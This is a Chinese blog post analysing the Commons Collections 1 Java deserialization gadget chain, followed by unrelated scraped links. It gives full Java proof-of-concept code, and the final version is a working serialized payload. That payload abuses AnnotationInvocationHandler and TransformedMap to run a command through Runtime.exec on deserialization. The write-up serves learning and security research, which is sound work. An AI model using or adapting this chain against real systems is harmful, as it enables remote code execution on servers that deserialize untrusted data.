[JavaWeb]反序列化分析(二)--CommonCollections1
反序列化分析(二)--CommonCollections1
链子分析
- 首先新建一个TransformedMap,其中二三参数为可控,后续要用到

- 当TransformedMap执行put方法时,会分别执行transformKey和transformValue方法

- 可以看到,两个方法中,都有transform方法,但参数不可控

- 找能触发InvokerTransform的transform方法,而且是无需借用外部传参的那种
分析cc链的时候,最大的体会就是分析可以,但不明白为什么可以想到这么绝的方法?火候不够.
- 可是要执行invokeTransform,那就又少不了外部传参加以控制..
先不管这个ChainedTransformer怎么想到的,就假设已经知道了这个可以把前一个结果当作后一个函数的参数就好了
- 那就说明,还要找一个transform实现类,能够返回Runtime

- 这个类可以返回一个对象,而imap为可控,所以只要知道了input的值,例如为trick,那么iMap['trick']就可以返回一个Runtime,从而可以完成既定目标(但这个还是要借助外部参数,但可行性较高,毕竟一般不会传Runtime作为键值对,但会传一个字符串,感觉又有点像php链子的找法了)
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//创建一个含有Runtime的map
HashMap<String, Runtime> stringRuntimeHashMap = new HashMap<>();
stringRuntimeHashMap.put("Aur0ra", Runtime.getRuntime());
MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(stringRuntimeHashMap);
//传进去作为第一个transformer类
Transformer[] transformers = {
mapTransformer,
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
outerMap.put("name","Aur0ra");
}

其中部分的数据需要同步
因为最后相当于是从那个map中获取指定键的值,所以map构造,以及put的时候,需要注意同步性
可以看到上面的确实可以利用,但前提是知道put的内容,还是有缺陷.所以看下下面官方给的链
这个是完全无需借助不可控变量的

返回的是类中的某个元素,所以是可控的,且与传进来的参数无关
public static void main(String[] args) {
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
outerMap.put("name","Aur0ra"); //任意值,只要有put动作即可
}

- 至此,从TransformerMap->chainedTransformer->ConstantTransformer&InvokerTransformer这条链已经分析清楚了.
一遍下来,有些地方和php链还是相似的,只是说有些trick的跳度稍大,没有开发基础的,比较难以理解(比如我).
完善成可利用的POC
上面只是一个样例POC是手动触发的,现实中还需要一个会自动触发的点,对该Map进行写的操作.所以要先找一个类其中包含可控map,且存在自动触发的反序列化点.
在找AnnotationInvocationHandler的时候,用import导入一直显示没有,但都下了几个jdk,都没有都快放弃了,结果突然发现,标识它不是public类,所以无法被import导入,,,,直接整
- 序列化构造时可能遇到的问题
- AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)的认知
- Runtime类没有实现序列化接口,无法完成序列化。

- 解决方案
- 该<? extends Annotation>代表需要是继承的子类,所以传的时候需要是子类对象的class
- 利用反射,借用InvokerTransformer,让Runtime在反序列化后形成。或者借用其他代码执行的类
- common-collections 3.2.2后加入了安全机制,这里我直接改成了3.1的cc
最终
利用条件
sun.reflect.annotation.AnnotationInvocationHandler的第一个参数不仅要是Annotation的子类,而且还要和后面的Map都拥有一个同名函数
java 8u71前版本,后面的版本中有修改,需要更换利用
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
/**
* 1.让Runtime在序列化后产生
* 2。采用其他方式进行命令执行
*/
/**
Method method = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) method.invoke(null);
r.exec("calc.exe");
*/
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}), //返回一个Runtime
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
hashMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
/**
* AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)
* 这里第一个参数需要是Annotation的子类
*/
Object o = constructor.newInstance(Retention.class, outerMap);
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("1.txt"));
ous.writeObject(o);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(o);
objectOutputStream.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}

总结
hashMap与transformer之间的渊源:一般添加新的值时,为了有一定的规则,这个时候需要用到转换(Transform)相关的东西进行转换。这就是为什么hashMap总是和transform之类的能联想到一起
- invokeTransform -- 能够执行命令
- ConstantTransform -- 不需要依赖参数,可以返回一个可控的内部属性
- chainedTransformer -- 能够将前面产生的结果作为后面的参数,和FilterChain相似
[JavaWeb]反序列化分析(二)--CommonCollections1的更多相关文章
- Java 序列化和反序列化(二)Serializable 源码分析 - 1
目录 Java 序列化和反序列化(二)Serializable 源码分析 - 1 1. Java 序列化接口 2. ObjectOutputStream 源码分析 2.1 ObjectOutputSt ...
- Java安全之SnakeYaml反序列化分析
Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...
- SNMP报文抓取与分析(二)
SNMP报文抓取与分析(二) SNMP报文抓取与分析(二) 1.SNMP报文表示简介 基本编码规则BER 标识域Tag表示 长度域length表示 2.SNMP报文详细分析(以一个get-respon ...
- Fresco 源码分析(二) Fresco客户端与服务端交互(1) 解决遗留的Q1问题
4.2 Fresco客户端与服务端的交互(一) 解决Q1问题 从这篇博客开始,我们开始讨论客户端与服务端是如何交互的,这个交互的入口,我们从Q1问题入手(博客按照这样的问题入手,是因为当时我也是从这里 ...
- yhd日志分析(二)
yhd日志分析(二) 继续yhd日志分析,统计数据 日期 uv pv 登录人数 游客人数 平均访问时长 二跳率 独立ip数 1 分析 登录人数 count(distinct endUserId) 游客 ...
- SQLite入门与分析(二)---设计与概念(续)
SQLite入门与分析(二)---设计与概念(续) 写在前面:本节讨论事务,事务是DBMS最核心的技术之一.在计算机科学史上,有三位科学家因在数据库领域的成就而获ACM图灵奖,而其中之一Jim G ...
- Linux内核启动代码分析二之开发板相关驱动程序加载分析
Linux内核启动代码分析二之开发板相关驱动程序加载分析 1 从linux开始启动的函数start_kernel开始分析,该函数位于linux-2.6.22/init/main.c start_ke ...
- 一些有用的javascript实例分析(二)
原文:一些有用的javascript实例分析(二) 5 求出数组中所有数字的和 window.onload = function () { var oBtn = document.getElement ...
- Android4.0图库Gallery2代码分析(二) 数据管理和数据加载
Android4.0图库Gallery2代码分析(二) 数据管理和数据加载 2012-09-07 11:19 8152人阅读 评论(12) 收藏 举报 代码分析android相册优化工作 Androi ...
随机推荐
- python3 迭代器&生成器
前戏:列表生成式 等于 用列表生成式生成列表.需要将所有数据生成到内存中,占用空间,如果数据太多.生成数据就会耗时较久. 例如需要运行卡顿一下..... 定义一个生成器:定义时不生成任何数据,只有通过 ...
- Django 中间件理解
中间件 django 中的中间件(middleware),在django中,中间件其实就是一个类,在请求到来和结束后,django会根据自己的规则在合适的时机执行中间件中相应的方法. 应用场景,对所有 ...
- mdf与ldf文件如何还原到SQL Server数据库
1,首先新建两个数据库(Db1,Db2) 在Db1数据库中添加一个表: 然后点击数据库右键-属性-文件-找到文件路径 然后复制这个路径中的Db1的数据,把这两个文件放到其他文件之下 复制之前需要关闭S ...
- IDEA结合mybatis插件自动生成代码
pom文件 添加插件 <plugin> <groupId>org.mybatis.generator</groupId> <artifactId>myb ...
- JAVA整合kaptcha生成验证码 (字母验证码和算术验证码)
引入maven <!--图片验证码--> <dependency> <groupId>com.github.penggle</groupId> < ...
- 浅析.netcore中的Configuration
不管是.net还是.netcore项目,我们都少不了要读取配置文件,在.net中项目,配置一般就存放在web.config中,但是在.netcore中我们新建的项目根本就看不到web.config,取 ...
- c++11之all_of 、 any_of 和 none_of 的用法
0.时刻提醒自己 Note: vector的释放 1.区别 函数 功能 all_of 区间[开始, 结束)中是否所有的元素都满足判断式p,所有的元素都满足条件返回true,否则返回false. any ...
- 【LeetCode】49. Group Anagrams 解题报告(Python & Java & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 排序+hash 日期 题目地址:https://le ...
- Another kind of Fibonacci(hdu3306)
Another kind of Fibonacci Time Limit: 3000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Jav ...
- [LeetCode]485. Max Consecutive Ones 找到最大的连续的1的个数
题目描述 输入只有0和1的数组(长度为正整数,且<10000),找到最大的连续1的个数 比如[1,1,0,1,1,1],输出3 思路 遍历数组,统计当前连续个数curCount和最大连续值max ...
